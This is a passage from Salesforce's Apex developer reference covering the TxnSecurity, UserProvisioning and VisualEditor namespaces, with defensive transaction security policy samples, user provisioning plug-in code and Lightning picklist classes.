public Integer priority { get; set; }
public Boolean moreTerritoriesAtPriority { get; set; }
Territory2Priority(Id territory2Id, Integer priority, Boolean
moreTerritoriesAtPriority){
this.territory2Id = territory2Id;
this.priority = priority;
this.moreTerritoriesAtPriority = moreTerritoriesAtPriority;
}
}
}
TxnSecurity Namespace
The TxnSecurity namespace provides an interface used for transaction security.
The following is the interface and its supporting class in the TxnSecurity namespace.
IN THIS SECTION:
Event Class
Contains event information that the PolicyCondition.evaluate method uses to evaluate a transaction security policy.
PolicyCondition Interface
Apex interface that allows an implementing class to specify actions to take when certain events occur based on a transaction security
policy.
2711
TxnSecurity NamespaceReference
Event Class
Contains event information that the PolicyCondition.evaluate method uses to evaluate a transaction security policy.
Namespace
TxnSecurity
Usage
The Event class contains the information needed to determine if the event triggers a Transaction Security policy. Not all class attributes
are used for every type of event.
IN THIS SECTION:
Event Constructors
Event Properties
Event Constructors
The following is the constructor for Event.
IN THIS SECTION:
Event()
Creates an instance of the TxnSecurity.Event class.
Event()
Creates an instance of the TxnSecurity.Event class.
Signature
public Event()
Event Properties
The following are properties for Event.
IN THIS SECTION:
action
Specifies the action being taken on the resource for an Entity event. For example, a Login IP resource for an Entity event could have
an action of create. The action attribute is not used by any other event type.
data
Contains data used by actions. For example, data for a login event includes the login history ID. Returns a map whose keys are
the type of event data, like SourceIp.
2712
Event ClassReference
entityId
The ID of any entity associated with the event. For example, the entityId of a DataExport event for an Account object contains
the Account ID.
entityName
The name of the object the event acts on.
organizationId
The ID of the Salesforce org where the event occurred.
resourceType
The type of resource for the event. For example, an AccessResource event could have a Connected Application as a resource type.
Not all event types have resources.
timeStamp
The time the event occurred.
userId
Identifies the user that caused the event.
action
Specifies the action being taken on the resource for an Entity event. For example, a Login IP resource for an Entity event could have an
action of create. The action attribute is not used by any other event type.
Signature
public String action {get; set;}
Property Value
Type: String
data
Contains data used by actions. For example, data for a login event includes the login history ID. Returns a map whose keys are the
type of event data, like SourceIp.
Signature
public Map<String,String> data {get; set;}
Property Value
Type: Map<String, String>
The following table lists all the available data types. Not all types appear with all event types. The data type values are always string
representations. For example, the isApi value is a string in the map, but is actually a Boolean value. Convert the value from a string
to its true type this way: Boolean.valueOf(event.data.get('isApi'));
2713
Event ClassReference
Events SupportedTrue Value TypeKey Name
EntityString Values are:ActionName
•Convert
•Delete
•Insert
•Undelete
•Update
•Upsert
DataExport, LoginString (Enum manifested as a String)ApiType
AccessResource, DataExportStringApplication
DataExportString (ID of the client)ClientId
AccessResource, DataExportString (ID of the Connected App)ConnectedAppId
DataExportmillisecondsExecutionTime
DataExportBooleanIsApi
DataExportBooleanIsScheduled
DataExport, LoginStringLoginHistoryId
DataExportIntegerNumberOfRecords
AccessResourceString (Enum manifested as a String. Values include
STANDARD and HIGH_ASSURANCE)
SessionLevel
AccessResourceString (IPV4 Address)SourceIp
EntityStringUserName
entityId
The ID of any entity associated with the event. For example, the entityId of a DataExport event for an Account object contains the
Account ID.
Signature
public String entityId {get; set;}
Property Value
Type: String
entityName
The name of the object the event acts on.
2714
Event ClassReference
Signature
public String entityName {get; set;}
Property Value
Type: String
organizationId
The ID of the Salesforce org where the event occurred.
Signature
public String organizationId {get; set;}
Property Value
Type: String
resourceType
The type of resource for the event. For example, an AccessResource event could have a Connected Application as a resource type. Not
all event types have resources.
Signature
public String resourceType {get; set;}
Property Value
Type: String
timeStamp
The time the event occurred.
Signature
public Datetime timeStamp {get; set;}
Property Value
Type: Datetime
userId
Identifies the user that caused the event.
2715
Event ClassReference
Signature
public String userId {get; set;}
Property Value
Type: String
PolicyCondition Interface
Apex interface that allows an implementing class to specify actions to take when certain events occur based on a transaction security
policy.
Namespace
TxnSecurity
Usage
The evaluate method is called upon the occurrence of an event monitored by a transaction security policy. A typical implementation
first selects the item of interest from the event. Then the item is tested to see if it meets the condition being monitored. If the condition
is met, the method returns true.
For example, imagine a transaction security policy that checks for the same user logging in more than once. For each login event, the
method would check if the user logging in already has a login session in progress, and if so, true is returned.
If you’re using the policy condition interface in the org where the policy was implemented, test classes for the policy are not required.
If you move the policy to another org, you must have test classes for the Apex policy in the new org. Testing is required whether the
policy is moved from a sandbox to production, with a change set, or some other way. Why? If you’re making a policy available outside
of its development environment, it needs testing to make sure it works correctly.
Don’t include Data Manipulation Language (DML) statements in your custom policies. DML operations are rolled back after a transaction
security policy is evaluated, regardless if the policy evaluates to true or false.
IN THIS SECTION:
PolicyCondition Methods
PolicyCondition Example Implementations
Here are a variety of code samples to show how to implement the TxnSecurity.PolicyCondition class for Transaction
Security. These examples show how to use different event components to identify and check a wide variety of condition.
PolicyCondition Methods
The following is the method for PolicyCondition.
IN THIS SECTION:
evaluate(event)
Evaluates an event against a transaction security policy. If the event triggers the policy, true is returned.
2716
PolicyCondition InterfaceReference
evaluate(event)
Evaluates an event against a transaction security policy. If the event triggers the policy, true is returned.
Signature
public Boolean evaluate(TxnSecurity.Event event)
Parameters
event
Type: TxnSecurity.Event
The event to check against the transaction security policy.
Return Value
Type: Boolean
When the policy is triggered, True is returned. For example, let’s suppose the policy is to limit users to a single login session. If anyone
tries to log in a second time, the policy’s action requires that they end their current session. The policy also sends an email notification
to the Salesforce admin. The evaluate() method only checks the login event, and returns True if it’s the user’s second login. The
Transaction Security system performs the action and notification, and not the evaluate() method.
PolicyCondition Example Implementations
Here are a variety of code samples to show how to implement the TxnSecurity.PolicyCondition class for Transaction
Security. These examples show how to use different event components to identify and check a wide variety of condition.
IN THIS SECTION:
PolicyCondition Example: Block Localhost Login
How to use the IP address in a login policy. This example implements a policy that triggers when there’s a login from localhost.
PolicyCondition Example: Block Large Data Export
How to check for large data transfers in a login policy. This example implements a policy that triggers when 2,000 records or more
are downloaded via the API.
PolicyCondition Example: High-Assurance Session
How to require a high-assurance login session when accessing confidential data. This example implements a policy that requires
everyone to use two-factor authentication before they can access a specific report.
PolicyCondition Example: Restricting Platform Browser
How to check for a specific operating system and browser in a login policy. This example policy triggers when a user with a known
OS and browser combination tries to log in with any other browser on a different OS.
PolicyCondition Example: Block Access by Geography
How to block access completely for logins from a specific area. This example implements a policy that blocks access by country.
PolicyCondition Example: Block Access by OS
How to block access for anyone using a specific operating system. This example implements a policy that blocks access for anyone
using an older version of the Android OS.
2717
PolicyCondition InterfaceReference
PolicyCondition Example: Using Apex API Callouts
How to block Chatter posts with certain words or content. This example implements a policy that blocks profanity by using an
external service.
PolicyCondition Example: Block Connected App Access
Block a Connected App with API access from accessing large amounts data.
PolicyCondition Example: Block Localhost Login
How to use the IP address in a login policy. This example implements a policy that triggers when there’s a login from localhost.
global class BlockLocalhostCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
// Get the LoginHistoryId to in turn get the SourceIp address.
String loginHistoryId = e.data.get('LoginHistoryId');
// Retrieve SourceIp from LoginHistory.
LoginHistory loginAttempt =
[SELECT SourceIp FROM LoginHistory WHERE id = :loginHistoryId];
String sourceIp = String.valueOf(loginAttempt.SourceIp);
// If it's localhost, the policy is triggered and true is returned.
if (sourceIp != null && sourceIp.equals('127.0.0.1')) {
return true;
}
return false;
}
}
PolicyCondition Example: Block Large Data Export
How to check for large data transfers in a login policy. This example implements a policy that triggers when 2,000 records or more are
downloaded via the API.
An admin or other customer with API privileges can download all customer data in bulk using SOAP API, REST API, or the Bulk API. This
security policy restricts API-based data downloads to 2,000 records and alerts the admin with a real-time notification if the policy is
triggered.
global class DataLoaderExportPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
Boolean isApi = Boolean.valueOf(e.data.get('IsApi')) { // For any API request...
Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
if (isApi && numberOfRecords >= 2000) {
return true;
}
return false;
}
}
}
PolicyCondition Example: High-Assurance Session
How to require a high-assurance login session when accessing confidential data. This example implements a policy that requires everyone
to use two-factor authentication before they can access a specific report.
2718
PolicyCondition InterfaceReference
You can have sensitive, confidential data in your quarterly Salesforce reports. You also want to ensure that teams accessing those reports
use two-factor authentication (2FA) for high assurance before viewing this data. The policy makes 2FA a requirement, but you can’t
provide high-assurance sessions until your teams have a way to meet the 2FA requirements. As a prerequisite, first set up 2FA in your
Salesforce environment.
This example highlights the capability of a policy to enforce 2FA for a specific report. The report defined here is any report with “Quarterly
Report” in its name. Anyone accessing the report is required to have a high-assurance session using 2FA.
global class ConfidentialDataPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
if (e.resourceType == 'Dashboard') { // If the event is about Dashboards...
Dashboard dashboard =
[SELECT DeveloperName FROM Dashboard WHERE id = :e.entityId];
String name = String.valueOf(dashboard.DeveloperName);
// Check if this is a quarterly report.
if (name.containsIgnoreCase('Quarterly Report')) {
return true;
}
}
return false;
}
}
PolicyCondition Example: Restricting Platform Browser
How to check for a specific operating system and browser in a login policy. This example policy triggers when a user with a known OS
and browser combination tries to log in with any other browser on a different OS.
Here’s a policy example for restricting access. Many organizations have standard hardware and support specific versions of different
browsers. You can use this standard to reduce the security risk for high impact individuals by acting when logins take place from unusual
devices. For example, your CEO typically logs in from San Francisco using a Macbook or Salesforce1 mobile application on an iPhone to
Salesforce. When a login occurs from elsewhere using a Chromebook, it’s highly suspicious. Since hackers do not necessarily know which
platforms corporate executives use, this policy makes a security breach less likely.
In this example, the customer organization knows that their CEO is using a Macbook running OS X with the Safari browser. Any attempt
to log in using the CEO’s credentials with anything else is automatically blocked.
global class CeoBrowserAccessPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
// If it's a Login attempt from our CEO's user account.
if (e.action == 'Login' && e.userId == '005x0000005VmCu') {
// Get the platform & browser from LoginHistory for this login attempt.
LoginHistory loginAttempt =
[SELECT Platform, Browser FROM LoginHistory
WHERE Id = :e.data.get('LoginHistoryId')];
String platform = loginAttempt.Platform;
String browser = loginAttempt.Browser;
// The policy is triggered when the CEO isn’t using Safari on Mac OSX.
if (!platform.equals('Mac OSX') || !browser.startsWith('Safari')) {
return true;
}
}
return false;
}
}
2719
PolicyCondition InterfaceReference
PolicyCondition Example: Block Access by Geography
How to block access completely for logins from a specific area. This example implements a policy that blocks access by country.
Your organization could have remote offices and a global presence but, due to international law, wants to restrict access to their Salesforce
org. The restrictions would be from specific countries, or obtain alerts when unusual login activity occurs.
This example builds a policy that blocks users logging in from North Korea. If users are in North Korea but using a corporate VPN, their
VPN gateway would be in Singapore or the United States. The VPN gateway would make their login successful because Salesforce would
see the internal US-based company IP address.
global class BlockAccessFromNKPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
// Get the login history.
LoginHistory loginAttempt =
[SELECT LoginGeoId FROM LoginHistory WHERE Id = :e.data.get('LoginHistoryId')];
// Get the login's geographical info.
String loginGeoId = String.valueOf(loginAttempt.LoginGeoId);
LoginGeo loginGeo = [SELECT Country FROM LoginGeo WHERE Id = :loginGeoId];
// Get the country at that location.
String country = String.valueOf(loginGeo.Country);
// Trigger policy and block access for any user trying to log in from North Korea.
if(country.equals('North Korea')) {
return true;
}
return false;
}
}
You can also restrict access to other specific values, like postal code or city.
PolicyCondition Example: Block Access by OS
How to block access for anyone using a specific operating system. This example implements a policy that blocks access for anyone using
an older version of the Android OS.
You’re concerned with a specific mobile platform’s vulnerabilities and its ability to capture screen shots and read data while accessing
Salesforce. If the device is not running a security client, you could restrict access from device platforms using operating systems with
known and well-identified vulnerabilities. In this example, we create a policy to block devices using Android 5.0 or earlier.
global class BlockOldAndroidDevicesPolicyCondition implements TxnSecurity.PolicyCondition
{
public boolean evaluate(TxnSecurity.Event e) {
LoginHistory loginAttempt =
[SELECT Platform FROM LoginHistory WHERE Id = :e.data.get('LoginHistoryId')];
if (loginAttempt != null) {
String platform = loginHistory.Platform;
if (platform.contains('Android') && platform.compareTo('Android 5') < 0) {
return true;
}
}
return false;// Allow access from Android versions greater than 5.
}
}
2720
PolicyCondition InterfaceReference
PolicyCondition Example: Using Apex API Callouts
How to block Chatter posts with certain words or content. This example implements a policy that blocks profanity by using an external
service.
Advertisers and spammers often post messages to successful communities at high rates to increase their chances of people clicking
their links. The links can include unwanted content. You can use technologies outside of Salesforce to scan or filter content based on
these different services.
In this example, we have unwanted text in communities posts and the policy executes an API callout to see if the content is compliant.
This example uses a service that blocks commonly-accepted English profanity as specified at www.purgomalum.com/profanitylist.
global class ChatterMessageProfanityFilterPolicyCondition implements
TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
String body = e.data.get('Body');
//Create HTTPRequest and specify its type and properties.
HttpRequest request = new HttpRequest();
request.setMethod('GET');
request.setHeader('content-type','text/plain');
request.setHeader('Connection','keep-alive');
request.setEndpoint('http://www.purgomalum.com/service/containsprofanity?text=' +
EncodingUtil.urlEncode(body,'UTF-8'));
Http http = new Http();
HTTPResponse response = http.send(request);
if (response.getStatusCode() == 200 && response.getBody().equals('true')) {
return true;// Callout succeeded and found profanity in the message.
}
return false;// Callout failed or no profanity was found.
}
}
PolicyCondition Example: Block Connected App Access
Block a Connected App with API access from accessing large amounts data.
Sometimes connected apps have API privileges to access data org-wide due to sharing or account access settings definitions. However,
the end user of the connected app is restricted to only a specific data set. This conflict can result in an increased security risk by identifying
the API key and performing command-line searches directly in the database to look for leads. The following policy avoids this situation
and data loss around your company’s lead information.
global class DataLoaderLeadExportPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
if (Boolean.valueOf(e.data.get('IsApi'))) {
// The event data is a Map<String, String>. We need to call the
// valueOf() method on appropriate data types to use them here.
String resourceType = e.data.get('resourceType');
String connectedAppId = e.data.get('ConnectedAppId');
Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
Integer executionTimeMillis = Integer.valueOf(e.data.get('ExecutionTime'));
2721
PolicyCondition InterfaceReference
// We're looking for leads accessed by a specific connected app that is
// transferring more than 2,000 records a second - a large transfer.
if ('Lead'.equals(resourceType) &&
'0CiD00000004Cce'.equals(connectedAppId) &&
numberOfRecords > 2000 &&
executionTimeMillis > 1000) {
return true;
}
}
return false;
}
}
UserProvisioning Namespace
The UserProvisioning namespace provides methods for monitoring outbound user provisioning requests.
The following is the class in the UserProvisioning namespace.
IN THIS SECTION:
ConnectorTestUtil Class
Enables developers to write Apex test classes for connectors used by the connected app provisioning solution. This class simulates
provisioning for the associated app.
UserProvisioningLog Class
Provides methods for writing messages to monitor outbound user provisioning requests.
UserProvisioningPlugin Class
The UserProvisioningPlugin base class implements Process.Plugin for programmatic customization of the user
provisioning process for connected apps.
ConnectorTestUtil Class
Enables developers to write Apex test classes for connectors used by the connected app provisioning solution. This class simulates
provisioning for the associated app.
Namespace
UserProvisioning
Usage
Use this class for connector-based test accelerators. You can invoke it only from within an Apex test.
2722
UserProvisioning NamespaceReference
Example
This example creates an instance of a connected app, gets a value, and checks whether the value is correct. The test is simply a row
inserted in the database table.
@isTest
private class SCIMCreateUserPluginTest {
public static void callPlugin(Boolean validInputParams) {
//Create an instance of a connected app
ConnectedApplication capp
=UserProvisioning.ConnectorTestUtil.createConnectedApp('TestApp');
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
//Create a user
User user = new User(username='testuser1@scimuserprov.test', Firstname= 'Test',
Lastname='User1', email='testuser1@testemail.com',
FederationIdentifier='testuser1@testemail.com', profileId= p.Id,
communityNickName='tuser1', alias='tuser', TimeZoneSidKey='GMT',
LocaleSidKey='en_US', EmailEncodingKey='ISO-8859-1', LanguageLocaleKey='en_US');
//insert user into a row in the database table
insert user;
//Create a UPR
UserProvisioningRequest upr = new UserProvisioningRequest(appname = capp.name,
connectedAppId=capp.id, operation='Create',
state='New', approvalStatus='NotRequired',salesforceUserId=user.id);
//Insert the UPR to test the flow end to end
insert upr;
}}
IN THIS SECTION:
ConnectorTestUtil Method
SEE ALSO:
Salesforce Help: User Provisioning for Connected Apps
ConnectorTestUtil Method
The ConnectorTestUtil class has 1 method.
IN THIS SECTION:
createConnectedApp(connectedAppName)
Creates an instance of a connected app to simulate provisioning.
createConnectedApp(connectedAppName)
Creates an instance of a connected app to simulate provisioning.
2723
ConnectorTestUtil ClassReference
Signature
public static ConnectedApplication createConnectedApp(String connectedAppName)
Parameters
connectedAppName
Type: String
Name of the connected app to test for provisioning.
Return Value
Type: ConnectedApplication
The instance of the connected app to test for provisioning.
UserProvisioningLog Class
Provides methods for writing messages to monitor outbound user provisioning requests.
Namespace
UserProvisioning
Example
This example writes the user account information sent to a third-party system for a provisioning request to the UserProvisioningLog
object.
String inputParamsStr = 'Input parameters: uprId=' + uprId + ',
endpointURL=' + endpointURL + ', adminUsername=' + adminUsername + ',
email=' + email + ', username=' + username + ', defaultPassword=' + defaultPassword + ',
defaultRoles =' + defaultRoles;
UserProvisioning.UserProvisioningLog.log(uprId, inputParamsStr);
IN THIS SECTION:
UserProvisioningLog Methods
UserProvisioningLog Methods
The following are methods for UserProvisioningLog. All methods are static.
IN THIS SECTION:
log(userProvisioningRequestId, details)
Writes a specific message, such as an error message, to monitor the progress of a user provisioning request.
log(userProvisioningRequestId, status, details)
Writes a specific status and message, such a status and detailed error message, to monitor the progress of a user provisioning request.
2724
UserProvisioningLog ClassReference
log(userProvisioningRequestId, externalUserId, externalUserName, userId, details)
Writes a specific message, such as an error message, to monitor the progress of a user provisioning request associated with a specific
user.
log(userProvisioningRequestId, details)
Writes a specific message, such as an error message, to monitor the progress of a user provisioning request.
Signature
public void log(String userProvisioningRequestId, String details)
Parameters
userProvisioningRequestId
Type: String
A unique identifier for the user provisioning request.
details
Type: String
The text for the message.
Return Value
Type: void
log(userProvisioningRequestId, status, details)
Writes a specific status and message, such a status and detailed error message, to monitor the progress of a user provisioning request.
Signature
public void log(String userProvisioningRequestId, String status, String details)
Parameters
userProvisioningRequestId
Type: String
A unique identifier for the user provisioning request.
status
Type: String
A description of the current state. For example, while invoking a third-party API, the status could be invoke.
details
Type: String
The text for the message.
2725
UserProvisioningLog ClassReference
Return Value
Type: void
log(userProvisioningRequestId, externalUserId, externalUserName, userId,
details)
Writes a specific message, such as an error message, to monitor the progress of a user provisioning request associated with a specific
user.
Signature
public void log(String userProvisioningRequestId, String externalUserId, String
externalUserName, String userId, String details)
Parameters
userProvisioningRequestId
Type: String
A unique identifier for the user provisioning request.
externalUserId
Type: String
The unique identifier for the user in the target system.
externalUserName
Type: String
The username for the user in the target system.
userId
Type: String
Salesforce ID of the user making the request.
details
Type: String
The text for the message.
Return Value
Type: void
UserProvisioningPlugin Class
The UserProvisioningPlugin base class implements Process.Plugin for programmatic customization of the user
provisioning process for connected apps.
Namespace
UserProvisioning
2726
UserProvisioningPlugin ClassReference
Usage
Extending this class gives you a plug-in that can be used in the Flow designer as an Apex plug-in, with the following input and output
parameters.
DescriptionInput Parameter Name
The unique ID of the request for the plug-in to process.userProvisioningRequestId
The ID of the associated user for the request.userId
The unique API name for the named credential to use for a request.
The named credential identifies the third-party system and the
third-party authentication settings.
When the named credential is set in the User Provisioning Wizard,
Salesforce stores the value in the
NamedCredDevName
UserProvisioningConfig.NamedCredentialId
field.
When collecting and analyzing users on a third-party system, the
plug-in uses this filter to limit the scope of the collection.
When the filter is set in the User Provisioning Wizard, Salesforce
stores the value in the
UserProvisioningConfig.ReconFilter field.
reconFilter
When collecting and analyzing users on a third-party system, the
plug-in uses this value as the starting point for the collection.
reconOffset
DescriptionOutput Parameter Name
The vendor-specific status of the provisioning operation on the
third-party system.
Status
The vendor-specific message related to the status of the
provisioning operation on the third-party system.
Details
The vendor-specific ID for the associated user on the third-party
system.
ExternalUserId
The vendor-specific username for the associated user on the
third-party system.
ExternalUsername
The email address assigned to the user on the third-party system.ExternalEmail
The first name assigned to the user on the third-party system.ExternalFirstName
The last name assigned to the user on the third-party system.ExternalLastName
The state of the collecting and analyzing process on the third-party
system. When the value is complete, the process is finished and
a subsequent call to the plug-in is no longer needed, nor made.
reconState
2727
UserProvisioningPlugin ClassReference
DescriptionOutput Parameter Name
When collecting and analyzing users on a third-party system, the
process may encounter a transaction limit and have to stop before
nextReconOffset
finishing. The value specified here initiates a call to the plug-in with
a new quota limit.
If you want to add more custom parameters, use the buildDescribeCall() method.
Example
The following example uses the buildDescribeCall() method to add a new input parameter and a new output parameter.
The example also demonstrates how to bypass the limit of the 10,000 records processed in DML statements in an Apex transaction.
global class SampleConnector extends UserProvisioning.UserProvisioningPlugin {
// Example of adding more input and output parameters to those defined in the base
class
global override Process.PluginDescribeResult buildDescribeCall() {
Process.PluginDescribeResult describeResult = new Process.PluginDescribeResult();
describeResult.inputParameters = new
List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('testInputParam',
Process.PluginDescribeResult.ParameterType.STRING, false)
};
describeResult.outputParameters = new
List<Process.PluginDescribeResult.OutputParameter>{
new Process.PluginDescribeResult.OutputParameter('testOutputParam',
Process.PluginDescribeResult.ParameterType.STRING)
};
return describeResult;
}
// Example Plugin that demonstrates how to leverage the
reconOffset/nextReconOffset/reconState
// parameters to create more than 10,000 users. (i.e. go beyond the 10,000 DML limit
per transaction)
global override Process.PluginResult invoke(Process.PluginRequest request) {
Map<String,String> result = new Map<String,String>();
String uprId = (String) request.inputParameters.get('userProvisioningRequestId');
UserProvisioning.UserProvisioningLog.log(uprId, 'Inserting Log from test Apex
connector');
UserProvisioningRequest upr = [SELECT id, operation, connectedAppId, state
FROM userprovisioningrequest WHERE id = :uprId];
if (upr.operation.equals('Reconcile')) {
String reconOffsetStr = (String) request.inputParameters.get('reconOffset');
Integer reconOffset = 0;
2728
UserProvisioningPlugin ClassReference
if (reconOffsetStr != null) {
reconOffset = Integer.valueOf(reconOffsetStr);
}
if (reconOffset > 44999) {
result.put('reconState','Completed');
}
Integer i = 0;
List<UserProvAccountStaging> upasList = new List<UserProvAccountStaging>();
for (i = 0; i < 5000; i++) {
UserProvAccountStaging upas = new UserProvAccountStaging();
upas.Name = i + reconOffset + '';
upas.ExternalFirstName = upas.Name;
upas.ExternalEmail = 'externaluser@externalsystem.com';
upas.LinkState = 'Orphaned';
upas.Status = 'Active';
upas.connectedAppId = upr.connectedAppId;
upasList.add(upas);
}
insert upasList;
result.put('nextReconOffset', reconOffset + 5000 + '');
}
return new Process.PluginResult(result);
}
}
IN THIS SECTION:
UserProvisioningPlugin Methods
UserProvisioningPlugin Methods
The following are methods for UserProvisioningPlugin.
IN THIS SECTION:
buildDescribeCall()
Use this method to add more input and output parameters to those defined in the base class.
describe()
Returns a Process.PluginDescribeResult object that describes this method call.
getPluginClassName()
Returns the name of the class implementing the plugin.
invoke(request)
Primary method that the system invokes when the class that implements the interface is instantiated.
2729
UserProvisioningPlugin ClassReference
buildDescribeCall()
Use this method to add more input and output parameters to those defined in the base class.
Signature
public Process.PluginDescribeResult buildDescribeCall()
Return Value
Type: Process.PluginDescribeResult
describe()
Returns a Process.PluginDescribeResult object that describes this method call.
Signature
public Process.PluginDescribeResult describe()
Return Value
Type: Process.PluginDescribeResult
getPluginClassName()
Returns the name of the class implementing the plugin.
Signature
public String getPluginClassName()
Return Value
Type: String
invoke(request)
Primary method that the system invokes when the class that implements the interface is instantiated.
Signature
public Process.PluginResult invoke(Process.PluginRequest request)
Parameters
request
Type: Process.PluginRequest
2730
UserProvisioningPlugin ClassReference
Return Value
Type: Process.PluginDescribeResult
VisualEditor Namespace
The VisualEditor namespace provides classes and methods for interacting with the Lightning App Builder.
The following are the classes in the VisualEditor namespace.
IN THIS SECTION:
DataRow Class
Contains information about one item in a picklist used in a Lightning component on a Lightning page.
DynamicPickList Class
An abstract class, used to display the values of a picklist in a Lightning component on a Lightning page.
DynamicPickListRows Class
Contains a list of picklist items in a Lightning component on a Lightning page.
DataRow Class
Contains information about one item in a picklist used in a Lightning component on a Lightning page.
Namespace
VisualEditor
IN THIS SECTION:
DataRow Constructors
DataRow Methods
DataRow Constructors
The following are constructors for DataRow.
IN THIS SECTION:
DataRow(label, value, selected)
Creates an instance of the VisualEditor.DataRow class using the specified label, value, and selected option.
DataRow(label, value)
Creates an instance of the VisualEditor.DataRow class using the specified label and value.
DataRow(label, value, selected)
Creates an instance of the VisualEditor.DataRow class using the specified label, value, and selected option.
2731
VisualEditor NamespaceReference
Signature
public DataRow(String label, Object value, Boolean selected)
Parameters
label
Type: String
User-facing label for the picklist item.
value
Type: Object
The value of the picklist item.
selected
Type: Boolean
Specifies whether the picklist item is selected (true) or not (false).
DataRow(label, value)
Creates an instance of the VisualEditor.DataRow class using the specified label and value.
Signature
public DataRow(String label, Object value)
Parameters
label
Type: String
User-facing label for the picklist item.
value
Type: Object
The value of the picklist item.
DataRow Methods
The following are methods for DataRow.
IN THIS SECTION:
clone()
Makes a duplicate copy of the VisualEditor.DataRow object.
compareTo(o)
Compares the current VisualEditor.DataRow object to the specified one. Returns an integer value that is the result of the
comparison.
getLabel()
Returns the user-facing label of the picklist item.
2732
DataRow ClassReference
getValue()
Returns the value of the picklist item.
isSelected()
Returns the state of the picklist item, indicating whether it’s selected or not.
clone()
Makes a duplicate copy of the VisualEditor.DataRow object.
Signature
public Object clone()
Return Value
Type: Object
compareTo(o)
Compares the current VisualEditor.DataRow object to the specified one. Returns an integer value that is the result of the
comparison.
Signature
public Integer compareTo(VisualEditor.DataRow o)
Parameters
o
Type: VisualEditor.DataRow
A single item in a picklist.
Return Value
Type: Integer
Returns one of the following values:
•Zero if the current package version is equal to the specified package version
•An integer value greater than zero if the current package version is greater than the specified package version
•An integer value less than zero if the current package version is less than the specified package version
getLabel()
Returns the user-facing label of the picklist item.
Signature
public String getLabel()
2733
DataRow ClassReference
Return Value
Type: String
getValue()
Returns the value of the picklist item.
Signature
public Object getValue()
Return Value
Type: Object
isSelected()
Returns the state of the picklist item, indicating whether it’s selected or not.
Signature
public Boolean isSelected()
Return Value
Type: Boolean
DynamicPickList Class
An abstract class, used to display the values of a picklist in a Lightning component on a Lightning page.
Namespace
VisualEditor
Usage
To use this class as the datasource of a picklist in a Lightning component, it must be extended by a custom Apex class and then that
class must be called in the component’s design file.
Example
Here’s an example of a custom Apex class extending the VisualEditor.DynamicPickList class.
global class MyCustomPickList extends VisualEditor.DynamicPickList{
global override VisualEditor.DataRow getDefaultValue(){
VisualEditor.DataRow defaultValue = new VisualEditor.DataRow('red','RED');
return defaultValue;
}
2734
DynamicPickList ClassReference
global override VisualEditor.DynamicPickListRows getValues() {
VisualEditor.DataRow value1 = new VisualEditor.DataRow('red','RED');
VisualEditor.DataRow value2 = new VisualEditor.DataRow('yellow','YELLOW');
VisualEditor.DynamicPickListRows myValues = new VisualEditor.DynamicPickListRows();
myValues.addRow(value1);
myValues.addRow(value2);
return myValues;
}
}
Here’s an example of how the custom Apex class gets called in a design file so that the picklist appears in the Lightning component.
<design:component>
<design:attribute name="property1" datasource="apex://MyCustomPickList"/>
</design:component>
IN THIS SECTION:
DynamicPickList Methods
DynamicPickList Methods
The following are methods for DynamicPickList.
IN THIS SECTION:
clone()
Makes a duplicate copy of the VisualEditor.DynamicPicklist object.
getDefaultValue()
Returns the picklist item that is set as the default value for the picklist.
getLabel(attributeValue)
Returns the user-facing label for a specified picklist value.
getValues()
Returns the list of picklist item values.
isValid(attributeValue)
Returns the valid state of the picklist item’s value. A picklist value is considered valid if it’s a part of any VisualEditor.DataRow
in the VisualEditor.DynamicPickListRows returned by getValues().
clone()
Makes a duplicate copy of the VisualEditor.DynamicPicklist object.
Signature
public Object clone()
2735
DynamicPickList ClassReference
Return Value
Type: Object
getDefaultValue()
Returns the picklist item that is set as the default value for the picklist.
Signature
public VisualEditor.DataRow getDefaultValue()
Return Value
Type: VisualEditor.DataRow
getLabel(attributeValue)
Returns the user-facing label for a specified picklist value.
Signature
public String getLabel(Object attributeValue)
Parameters
attributeValue
Type: Object
The value of the picklist item.
Return Value
Type: String
getValues()
Returns the list of picklist item values.
Signature
public VisualEditor.DynamicPickListRows getValues()
Return Value
Type: VisualEditor.DynamicPickListRows
isValid(attributeValue)
Returns the valid state of the picklist item’s value. A picklist value is considered valid if it’s a part of any VisualEditor.DataRow
in the VisualEditor.DynamicPickListRows returned by getValues().
2736
DynamicPickList ClassReference
Signature
public Boolean isValid(Object attributeValue)
Parameters
attributeValue
Type: Object
The value of the picklist item.
Return Value
Type: Boolean
DynamicPickListRows Class
Contains a list of picklist items in a Lightning component on a Lightning page.
Namespace
VisualEditor
IN THIS SECTION:
DynamicPickListRows Constructors
DynamicPickListRows Methods
DynamicPickListRows Constructors
The following are constructors for DynamicPickListRows.
IN THIS SECTION:
DynamicPickListRows(rows, containsAllRows)
Creates an instance of the VisualEditor.DynamicPickListRows class using the specified parameters.
DynamicPickListRows(rows)
Creates an instance of the VisualEditor.DynamicPickListRows class using the specified parameter.
DynamicPickListRows()
Creates an instance of the VisualEditor.DynamicPickListRows class. You can then add rows by using the class’s
addRow or addAllRows methods.
DynamicPickListRows(rows, containsAllRows)
Creates an instance of the VisualEditor.DynamicPickListRows class using the specified parameters.
Signature
public DynamicPickListRows(List<VisualEditor.DataRow> rows, Boolean containsAllRows)
2737
DynamicPickListRows ClassReference
Parameters
rows
Type: List VisualEditor.DataRow
List of picklist items.
containsAllRows
Type: Boolean
Indicates if all values of the picklist are included in a type-ahead search query (true) or only those values initially displayed when the
list is clicked on (false).
A picklist in a Lightning component can display only the first 200 values of a list. If containsAllRows is set to false, when a
user does a type-ahead search to find values in the picklist, the search will only look at those first 200 values that were displayed,
not the complete set of picklist values.
DynamicPickListRows(rows)
Creates an instance of the VisualEditor.DynamicPickListRows class using the specified parameter.
Signature
public DynamicPickListRows(List<VisualEditor.DataRow> rows)
Parameters
rows
Type: List VisualEditor.DataRow
